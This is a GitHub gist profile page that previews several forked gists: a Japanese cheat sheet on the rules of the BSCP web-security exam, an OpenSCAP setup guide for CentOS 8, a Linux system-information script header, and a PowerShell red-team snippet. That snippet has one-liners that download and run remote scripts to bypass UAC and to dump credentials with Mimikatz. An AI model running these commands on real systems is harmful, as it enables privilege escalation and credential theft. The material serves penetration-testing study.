Skip to content

Instantly share code, notes, and snippets.

View vral-parmar's full-sized avatar
🙃
I may be slow to respond.

Viral parmar vral-parmar

🙃
I may be slow to respond.
View GitHub Profile
@vral-parmar
vral-parmar / bscp.md
Created September 6, 2023 09:04 — forked from dhmosfunk/bscp.md
BSCP攻略チートシート

試験ルール

  • 制限時間は4時間
  • 2つの脆弱なアプリケーションを攻略する
  • それぞれのアプリケーションでの流れは以下の通り
    • ステージ1: 任意のユーザー アカウントを奪う。
    • ステージ2: アカウントを使用して /admin の管理インターフェイスにアクセスする。おそらく、権限を昇格させるか、管理者アカウントを侵害する。
    • ステージ3: 管理インターフェイスを使用して、サーバーのファイルシステムから /home/carlos/secret の内容を読み取り、"submit solution" を使用して送信する。
  • ユーザー名「 administrator 」を持つ管理者アカウントと、通常は「 carlos 」と呼ばれる権限の低いアカウントが常に存在する。ユーザー名列挙の脆弱性が見つかった場合、次のユーザー名リストパスワードリストを使用して、権限の低いアカウントに侵入できる可能性がある。
  • 各アプリケーションには最大1人のアクティブユーザーがおり、ユーザーまたは管理者としてログインする。ユーザーは15秒ごとにサイトのホームページにアクセスし、アプリケーションから受信した電子メールのリンクをクリックすると想定できる。エクスプロイトサーバーの「被害者への送信」機能を使用して、反映された脆弱性をターゲットにすることができる。
  • SSRFの脆弱性が見つかった場合は、ローカルホストのポート6566 で実行されている内部専用サービスにアクセスすることで、それを使用してファイルを読み取ることができる。
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@vral-parmar
vral-parmar / oscap_centos8
Created September 23, 2021 09:29 — forked from dmccuk/oscap_centos8
install and configure OpenScap to work on Centos 8
### Install the required packages:
sudo yum install openscap-scanner scap-security-guide
### Can we run a report?
sudo oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_ospp --report /tmp/report.html /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
first scan gives “notapplicable”
### Now do this…
sudo cp /usr/share/openscap/cpe/openscap-cpe-dict.xml /usr/share/openscap/cpe/openscap-cpe-dict.xml.dist
@vral-parmar
vral-parmar / linux-explorer.sh
Created August 23, 2021 05:29 — forked from chrisfu/linux-explorer.sh
Linux Explorer system information script
#!/bin/bash
##############################################################################
#
#
# FILE : linux-explorer.sh
# Last Change Date : 04-07-2016
# Author(s) : Joe Santoro
# Date Started : 15th April, 2004
# Email : linuxexplo [ at ] unix-consultants.com
# Web : http://www.unix-consultants.com/examples/scripts/linux/linux-explorer